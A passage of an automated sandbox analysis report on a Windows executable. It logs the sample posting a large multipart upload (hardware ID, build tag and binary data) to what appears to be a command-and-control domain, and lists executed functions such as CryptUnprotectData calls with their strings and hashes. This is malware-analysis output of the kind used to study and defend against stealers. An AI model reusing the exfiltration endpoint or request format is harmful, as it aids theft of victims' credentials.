2024-12-31 08:43:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:43:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:10 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N4Y16TNE0FZYKU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569055 Host: fancywaxxers.shop
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: 2d 2d 4e 34 59 31 36 54 4e 45 30 46 5a 59 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 38 43 35 38 32 37 39 43 41 45 31 37 35 35 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4e 34 59 31 36 54 4e 45 30 46 5a 59 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 34 59 31 36 54 4e 45 30 46 5a 59 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4e 34 59 31 36 54 4e 45 Data Ascii: --N4Y16TNE0FZYKUContent-Disposition: form-data; name="hwid"0E8C58279CAE175520A4C476FD51BCB1--N4Y16TNE0FZYKUContent-Disposition: form-data; name="pid"1--N4Y16TNE0FZYKUContent-Disposition: form-data; name="lid"PsFKDg--pablo--N4Y16TNE
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: 03 52 cc 09 80 6f 83 67 31 0f bf b1 f3 28 df 6c c4 e1 6f b0 38 e3 f2 ff 19 01 e4 21 15 78 e4 b7 21 b8 1f c4 19 52 73 fd 00 33 97 0f 9c 86 03 22 43 70 dc a3 b2 b5 0e 7e 33 fb 31 1b 8a 21 2b c5 bc 28 5f fa ec 5a ca ef bc a9 96 11 08 da cb b7 e7 ac f5 81 d6 b6 4b de cf e3 bc 9e 57 8b 78 7a e0 08 6d e2 cd d1 1a 0d 5c 8e 7b 4d b2 5a fe e5 1f f8 81 30 49 74 eb 7d 0a 73 91 3d f3 e5 af 6d ed 58 4a 79 9c 82 79 de 37 dc 19 cd f4 46 1f 65 d0 f9 84 1e f8 5e b9 56 49 24 8c 6d e6 bc bb 34 68 d5 b4 93 df 83 a6 9c 0c 31 49 59 be da be f8 b7 18 8e 48 50 bd 89 58 98 90 b8 ad 19 3d 6a 2a 97 d5 1f 86 c8 9b 5c be 0e b6 39 df 2d ed bf ca 57 f7 f1 e7 80 a4 a5 11 e6 c4 69 e7 5d 4f 52 51 ff a1 d8 ba 0a a5 6b 2d d4 0c 2a c5 0d fd 46 28 1f 93 e4 73 26 f1 99 d9 69 ad ab 2b 90 53 3b Data Ascii: Rog1(lo8!x!Rs3"Cp~31!+(_ZKWxzm\{MZ0It}s=mXJyy7Fe^VI$m4h1IYHPX=j\9-Wi]ORQk-F(s&i+S;
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: d8 4b b4 dc e1 2b bd fe ab ff f5 b7 36 55 ee 11 35 35 85 92 60 a8 38 c4 14 62 cc e6 e2 c1 b6 1d ff 6a b1 d4 ba 08 c4 20 fd 77 e4 fa fc 4b 90 34 f3 df 21 d6 b9 d9 1a de 80 46 42 02 88 53 e4 ff 6b d0 b4 54 7f 9f a8 09 44 c0 61 0c ef e4 9e dd 7d 40 7a 3f 4d 15 81 e3 eb d7 f7 c9 36 ca 24 43 d5 ab 3b eb fa e5 2a a5 c0 62 e3 0d c8 57 f4 59 fa 71 35 d1 f6 8f e8 2b d9 f7 79 7b fe 02 8a 60 5c 3d e1 e7 f1 3f 6d 05 91 75 c8 81 16 6f fd 41 90 82 cb 8c f1 e9 51 88 16 8e 0e 80 8f 2d a8 14 71 e4 d7 75 35 3c 71 57 0d 98 84 dd 84 07 9c 20 22 f8 30 15 f1 9a 54 a0 e5 91 bb b7 41 67 4b fe 14 a9 78 be 76 0d 5f 6a 92 de 93 8a 18 29 21 73 99 b0 12 b0 77 80 45 4c dc 47 f2 e6 14 30 23 90 40 f6 ea f1 64 7e fd 46 ba 04 34 a1 5d 4b 6e 50 af a3 c4 af 22 bd 6f 25 04 13 2f 29 37 c1 4b Data Ascii: K+6U55`8bj wK4!FBSkTDa}@z?M6$C;*bWYq5+y{`\=?muoAQ-qu5<qW "0TAgKxv_j)!swELG0#@d~F4]KnP"o%/)7K
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: 08 b7 d0 b7 8f 93 6f e4 a6 01 ba 1a 91 4a 43 93 f9 51 bc 4a c0 03 8b 5d 3f a6 61 a9 82 77 ca 31 c1 82 a7 50 38 e2 00 d7 f0 e0 20 ce a3 44 e5 c5 2c fb a1 c9 47 1e d8 79 f2 ed 9b d7 7f e8 ba 59 ce 0f a1 47 3a 2f ce 01 e2 15 88 a8 30 94 8f 02 ae 6d 05 4f 9e c0 a5 a0 5e ff bf 53 6b 6d 2e 58 ab b7 ef d7 1b b4 ed c2 f5 eb b1 c8 3b b3 d5 be bc 66 c5 a7 dc aa bd 30 5e bc 2b f2 0b c5 59 a2 7e 96 5e 0d 01 89 38 c8 6d 72 ef ba 15 4f 80 3c 70 fe 3e 47 8a a8 c1 0d c5 95 a2 76 e5 ed d2 c3 7e 97 10 78 8d a6 77 0a 90 75 59 ea 2b 42 16 b5 a4 54 51 9c 08 78 23 aa 6e 09 32 1b 42 5c 01 61 a8 60 6e 58 4e 6c a4 5a eb 19 43 5f 48 fd 9f 88 17 87 48 2d 00 b3 88 66 c7 e9 a1 76 82 83 8b 3f dd d3 d1 eb 07 f6 ef de 88 fb 9d 50 43 e6 e7 5c 22 14 34 2d 65 fb 72 3c 9c 74 b1 84 4d 01 a5 Data Ascii: oJCQJ]?aw1P8 D,GyYG:/0mO^Skm.X;f0^+Y~^8mrO<p>Gv~xwuY+BTQx#n2B\a`nXNlZC_HH-fv?PC\"4-er<tM
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: c1 29 04 f5 8f 60 22 be 79 44 08 65 5c c1 01 1c 02 cf 5e 09 cc ea 73 2b 02 81 d0 46 68 21 c3 1f 06 f5 43 23 23 03 e1 30 bf 75 8d 5e 7e 86 45 53 63 20 dd 9c f6 fb 04 d9 f4 e8 f1 f0 8c 08 ed 0a ae 8a 37 42 61 f5 ad 92 35 d9 2a e0 cc a4 3c 44 74 e3 5b 1e 40 e2 11 81 d2 b7 7c 4d fc 35 0c db 22 35 d7 2a 7d 6e 92 26 9a 0f 48 0a 4f 38 19 eb 73 a7 30 67 26 2f ee 5f cf 1d 52 c7 0c 07 3e 1a 1c 0e 3e b6 a0 dc 5d c4 68 d5 16 b3 d3 96 6a 5e 08 66 5c 3b 4e 16 5b 7f ad 69 3b 2c df ba 28 69 5f 1f a6 21 da 56 ce 09 e3 a6 08 0a 8c 04 61 40 30 06 c6 d8 06 fd bb 04 e8 23 0b 46 62 c0 36 9a 56 75 ae d8 29 06 13 8e 48 b7 08 d1 f7 b2 6b a6 7e 12 1a 97 2a 78 9d f3 36 1e 6d 7f 5e 80 b9 2a 7c d0 2e 54 d5 6f cb 28 d6 31 17 ef ff ad a2 f8 ff be 20 38 1b 09 8f 04 70 89 8a 8c 6d 08 3e Data Ascii: )`"yDe\^s+Fh!C##0u^~ESc 7Ba5<Dt[@\|M5"5}n&HO8s0g&/_R>>]hj^f\;N[i;,(i_!Va@0#Fb6Vu)Hk~x6m^\|.To(1 8pm>
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: cc b8 75 6e 5d 04 cf 25 2c 85 ad 75 81 6e 0e 21 e1 19 c9 8f af c4 fb 22 a9 06 08 ac 91 8a 5f b7 0c 99 5f 5d d6 2d 18 43 4a 20 42 b5 9f 4f 80 18 ee e9 82 4c d2 79 18 f9 7c 17 0e 76 79 54 0f 98 a9 f8 c8 f2 76 93 83 a4 73 80 fd 7e b6 38 6b 09 a4 b6 51 2a d6 02 67 c1 69 30 e5 ae 28 06 34 af 98 52 77 c0 c6 a0 56 66 e5 c0 03 e5 bb 9b 03 ba 18 22 aa 42 4d c6 3d af 17 61 b2 29 63 ac 5b 65 67 81 fc 1f 14 30 27 6d 5a d3 46 0a da 77 1d e1 41 9b 83 12 2a 21 da 84 a1 39 0e 18 c6 c3 2d 48 60 f9 08 ee 12 05 bb cb 96 85 e9 ed c6 bd e2 a0 6c f3 f6 de 00 14 d0 60 3f d1 44 54 16 6a 15 11 a2 e7 74 4a 32 a0 be 83 e3 c5 aa e0 34 c3 fd c3 c6 fa 61 c7 c1 8d a6 0f 29 87 c7 d9 8f 2a 53 54 94 a9 59 06 7f 14 fa 8e 0e 85 f5 88 b6 1e 48 af 0f a3 50 eb 70 99 b6 3f a6 b4 da a6 58 36 bc Data Ascii: un]%,un!"__]-CJ BOLy\|vyTvs~8kQgi0(4RwVf"BM=a)c[eg0'mZFwA!9-H`l`?DTjtJ24a)*STYHPp?X6
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: 36 4b 2a 6e 67 7a d3 62 8b 2c fc 68 c2 05 a6 b4 61 9b 22 b8 83 92 e0 d0 dc 43 40 ba 39 35 6d f7 f4 ad cb 75 c7 15 65 ca 1b 75 35 40 37 4f 10 7e e7 31 7a 1a 4d 7f bb 31 6a 99 db df 3b c6 ff dd 16 fa a2 4e b8 ce 19 22 33 b2 02 f8 ef 99 1b f6 23 49 8b fc 7c 1f 61 fa bc 75 f8 9e 82 21 ee 5f 38 de 71 5d c0 8e 51 46 fc 84 f8 54 af 20 db 16 b0 bf cb 12 81 46 47 ee 1e 12 3f e3 30 57 9a d5 a5 86 aa a1 b4 40 7d f2 e0 d0 47 5c d2 41 2f 43 ed 1e c5 3e c7 b2 1d a1 67 64 49 7d 13 b8 f4 3a dd ce af 9c a1 f2 83 91 48 cb 31 4c d5 03 d2 73 d6 4f ab 2b 0d a4 69 5c fe 76 8d e1 11 24 93 44 61 85 7b 20 b4 9b a8 10 8a 88 02 27 06 c5 6e dd b5 18 3f 2a 72 48 fc e8 ea b3 f9 86 50 05 92 57 93 76 89 09 85 17 1a ba 7c f7 ec 67 5f c6 cc 26 6f 2d 41 61 14 2e 83 fc c3 e4 0c 67 f7 dd 60 Data Ascii: 6Kngzb,ha"C@95mueu5@7O~1zM1j;N"3#I\|au!_8q]QFT FG?0W@}G\A/C>gdI}:H1LsO+i\v$Da{ 'n?rHPWv\|g_&o-Aa.g`
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: a3 db 7f 22 8c 5e eb fa c8 6c 27 83 28 00 ca 4b c7 cb cb 0d bc e2 00 3e 78 41 bb 3e 5c da d1 8f 33 95 71 19 10 fa fd 82 d3 dd 8c 3f eb b6 d7 b5 1b 15 af 67 a8 70 65 ce 91 f4 b7 ec 2d 17 b5 ae d2 b8 c1 1f 82 45 b7 5a b9 7c e7 d8 da 31 73 48 4a 66 a5 ca a6 3d 3b 7d d2 d6 fb 2a d0 a7 a5 1f cd 68 0d cd a7 a9 73 13 82 77 a5 4f d9 c0 71 f0 df 94 fe 6f 3d 83 37 0d 01 a1 00 ea c1 4b 1a db 70 84 83 9d bf ad 8d 7f a0 67 07 6d bc 2e 08 da 1a 3b c9 a9 62 1e dc 41 3e 96 df c5 e6 f4 1a 0b c4 28 65 0e be 97 03 5a 47 68 d7 3f a7 e5 2a b6 dc 0e d0 7e 1c fe f9 8e f1 2d 2d 30 5d 12 d5 80 a8 f4 3e 71 24 08 13 65 2d 00 6e a1 d0 bc 4b a7 9c 09 93 a2 c3 ae 52 32 bb ea f2 bd ba a5 fe 26 79 4a 8d 09 9a 94 61 20 e1 7a 03 b0 63 dc 9b fa 1d 20 4f 38 c2 5e 14 50 f3 e5 de b5 ae 2a 7b Data Ascii: "^l'(K>xA>\3q?gpe-EZ\|1sHJf=;}hswOqo=7Kpgm.;bA>(eZGh?~--0]>q$e-nKR2&yJa zc O8^P*{
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: 40 68 ec 79 c7 aa 97 c5 1d 36 84 eb 5b 88 7b 0e 72 c7 7c 41 bd 3a a3 6f 21 66 3d 0c a6 c1 a1 17 16 c3 55 fa e0 c3 b2 2d 13 54 2a 76 d6 9f 86 0a c3 41 92 a8 f3 ab 95 3a 47 c2 64 b6 46 03 cb 06 b8 35 ba 23 89 84 8e 36 c4 a5 de 42 3f be 8b 42 20 a9 cd a4 f1 f6 ba b1 53 53 60 aa cc 9e 62 94 d9 3d 0b e1 0d 89 d5 bd d2 ef 0a 88 5e a2 c2 5a 56 7d 61 51 61 93 b8 77 e6 6d 98 23 6e 5a 57 30 e7 a1 d8 c5 2b 2e 11 c6 bc 2a fd 6e 96 5e a6 a3 b9 04 7f 6e 3f 8c f0 98 4e 8e 67 74 d7 6f d6 ee 9d e0 39 76 c5 54 18 15 4a 5d 9f 19 a2 ef 86 95 66 79 75 4a b1 65 e9 d3 6e da 19 00 47 85 99 ad 79 c3 d7 f5 26 b2 03 e2 37 ad 74 db b3 19 52 9c ab 06 d4 6b 6d 84 ae 1e b6 c7 51 ac ae c2 65 55 3d 70 49 bb 30 6d 30 59 75 9c a9 3f be 7e 26 2a 34 40 64 40 28 59 e9 c7 cc 49 13 d3 9a 4e 83 Data Ascii: @hy6[{r\|A:o!f=U-TvA:GdF5#6B?B SS`b=^ZV}aQawm#nZW0+.n^n?Ngto9vTJ]fyuJenGy&7tRkmQeU=pI0m0Yu?~&*4@d@(YIN
2024-12-31 08:43:10 UTC	15331	OUT	Data Raw: da 27 9a 6e 1e f2 63 bb 65 7f b2 c9 d5 ad 1f cf 84 35 c0 c9 75 3b 75 fe cf 00 c7 d5 4a 58 22 ae 90 17 e8 ac dd f6 ba 75 d7 f9 28 f5 07 12 ed 57 7b eb 5d 92 1c f8 2d 77 4a 17 f7 bc 4e 1c c2 71 55 02 aa a4 6f 7e 54 49 78 8b 21 da d6 a0 b0 83 ca bb d1 c7 f6 1a c1 8e 90 6c 15 38 5c 7f 3d 2d cc 4d a5 71 b7 09 ef e9 d1 77 9d f8 bc a8 a1 98 f9 ab 66 69 1d e2 b7 88 42 9f 1d a8 5d c9 a1 03 77 e4 36 ec af ad 7d 14 c1 73 5f d0 45 69 18 c3 43 82 4a 8a 09 96 d9 82 af 8f 6a 7d 8a 7e b3 c9 3e 52 ec 01 65 3b 79 a9 4b 7b 51 29 2e d8 b9 f1 62 e1 bb ce cd 91 bc 2c 0c c7 cd 4c 7a 1a 03 e1 e6 5c 9b b1 e3 6b 6f 6b a2 8f 60 f5 5b b9 9d 4e 06 8a 6b b5 71 a4 2a 3e 7c 62 b0 86 5e 9b d8 1c 8d 30 6c f2 37 8b e0 5d 5d 91 8f 89 ec 91 cf 0b 6b 62 f9 97 67 99 1a a3 01 79 9d 6a ce 27 64 Data Ascii: 'nce5u;uJX"u(W{]-wJNqUo~TIx!l8\=-MqwfiB]w6}s_EiCJj}~>Re;yK{Q).b,Lz\kok`[Nkq*>\|b^0l7]]kbgyj'd
2024-12-31 08:43:13 UTC	1145	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9s75eunm7mg6l3f05889ijh5mp; expires=Sat, 26 Apr 2025 02:29:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=18RW9OT31w4Ac%2FIe%2Fq8zm%2FC2jyYrQoPqk5FtL%2Bd5eP4LRvaLmQmfw%2BZnbjJCpQX9tMsBBFGbydxC%2Bw1unQ1QlcpyPnnK7jcV6n0WO685XQ708zvoDI1mTtWp%2BH3Z6fcqf3OsSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8fafeef48c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1478&min_rtt=1471&rtt_var=566&sent=339&recv=590&lost=0&retrans=0&sent_bytes=2844&recv_bytes=571599&delivery_rate=1907250&cwnd=181&unsent_bytes=0&cid=c9e0d0b559c18b80&ts=3318&x=0"

Target ID:	0
Start time:	03:42:58
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\x6VtGfW26X.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\x6VtGfW26X.exe"
Imagebase:	0x7b0000
File size:	1'883'648 bytes
MD5 hash:	C17D20E6BE092651357A8B466257B795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.6%
Total number of Nodes:	280
Total number of Limit Nodes:	23

Executed Functions

Function 007E8860 Relevance: 21.7, APIs: 5, Strings: 7, Instructions: 674
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(k2`0), ref: 007E8B60
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 007E8B9E
SysFreeString.OLEAUT32(?), ref: 007E8EB3
SysFreeString.OLEAUT32(?), ref: 007E8EB9
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 007E8EFA

Strings

b>c<, xrefs: 007E8AFD
]E, xrefs: 007E8C2C
S, xrefs: 007E8C24
]E, xrefs: 007E9062
x;, xrefs: 007E8C34
k2`0, xrefs: 007E8B5B, 007E8B5F
,./,, xrefs: 007E8947

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: ,./,$S$]E$]E$b>c<$k2`0$x;
API String ID: 1773362589-4038474941
Opcode ID: 1dcae15d8386774f9524710f8d650d52f688fa2c75ea64426fea0246fa5ce20a
Instruction ID: bd12cefd6a2131e80ba683404985ce6726fc96fcd4d4e5a99b7283733e4f17a5
Opcode Fuzzy Hash: 1dcae15d8386774f9524710f8d650d52f688fa2c75ea64426fea0246fa5ce20a
Instruction Fuzzy Hash: C02213B66083419BD310CF29C885B6BBBE1EFC9314F14892DE598DB291DB79D805CB83

Function 007C9362 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 390
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007ED910: LdrInitializeThunk.NTDLL(007F09B8,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 007ED93E

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007C97EB

Strings

D$p, xrefs: 007C95C2
x">*, xrefs: 007C9430
*8$), xrefs: 007C9523
14'", xrefs: 007C9470
-&64, xrefs: 007C9544
#1!%, xrefs: 007C9539
?7?0, xrefs: 007C950D
e, xrefs: 007C955A
'>0=, xrefs: 007C952E

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: CryptDataInitializeThunkUnprotect
String ID: #1!%$'>0=$*8$)$-&64$14'"$?7?0$e$x">*$D$p
API String ID: 279577407-4262920783
Opcode ID: 9ca7f7717e99ff0cbd7ea445290fc24ebec8e684a3c59db76597fe5861949e66
Instruction ID: fc31066db8688b920b02afa104e7dd3c0b613ae39d44ce9c788ad93bd85efcb2
Opcode Fuzzy Hash: 9ca7f7717e99ff0cbd7ea445290fc24ebec8e684a3c59db76597fe5861949e66
Instruction Fuzzy Hash: 37C1FC726083818FD768DF28C895BAFB7E2AFD5300F19893CD5D987291DB389905CB42

Function 007D1060 Relevance: 14.3, Strings: 11, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

B, xrefs: 007D132B
!@, xrefs: 007D1096
?, xrefs: 007D133A
1, xrefs: 007D1344
0, xrefs: 007D133F
,, xrefs: 007D1635
W, xrefs: 007D12BD
@, xrefs: 007D1335
=, xrefs: 007D1330
V, xrefs: 007D12B8
T, xrefs: 007D12C2

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: AllocateHeapInitializeThunk
String ID: !@$,$0$1$=$?$@$B$T$V$W
API String ID: 383220839-2565976686
Opcode ID: 6b0ea20b6c491ae6ce657fffbd63b187480285b00b62916bf20b1ee99f4fd925
Instruction ID: 809314d4aede22ebd99129ffd7e0417321973d5a2517b016905b3a8c24f4e91a
Opcode Fuzzy Hash: 6b0ea20b6c491ae6ce657fffbd63b187480285b00b62916bf20b1ee99f4fd925
Instruction Fuzzy Hash: 7432CE7160C7809FD324CB28C4803AFBBE2ABD5324F59892EE5D587392D6BD9845CB43

Function 007BDE48 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 007BDE55

Strings

GK8m, xrefs: 007BDE73
T_RE, xrefs: 007BDF67
iped, xrefs: 007BDF46
wtf|, xrefs: 007BDF3B
.a]b, xrefs: 007BE07E
fancywaxxers.shop, xrefs: 007BE2A0
LM, xrefs: 007BE23C

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: Uninitialize
String ID: .a]b$GK8m$LM$T_RE$fancywaxxers.shop$iped$wtf|
API String ID: 3861434553-2559626107
Opcode ID: 761d6453ad3705455d531607fcadc25fe800ba8dd564415d68bf3ab52d04712f
Instruction ID: 2ce0dca22581d620a387b593b156a43844f75372e320a15ce70e2040406daf63
Opcode Fuzzy Hash: 761d6453ad3705455d531607fcadc25fe800ba8dd564415d68bf3ab52d04712f
Instruction Fuzzy Hash: 3EB111756493C18BD335CF29C8903EFBBE1ABD7310F18896DD4D94B342C67989068B92

Function 007D29CD Relevance: 9.8, APIs: 2, Strings: 3, Instructions: 1009
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7x~, xrefs: 007D34C1
"0}, xrefs: 007D3016
`*}, xrefs: 007D2AAE

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
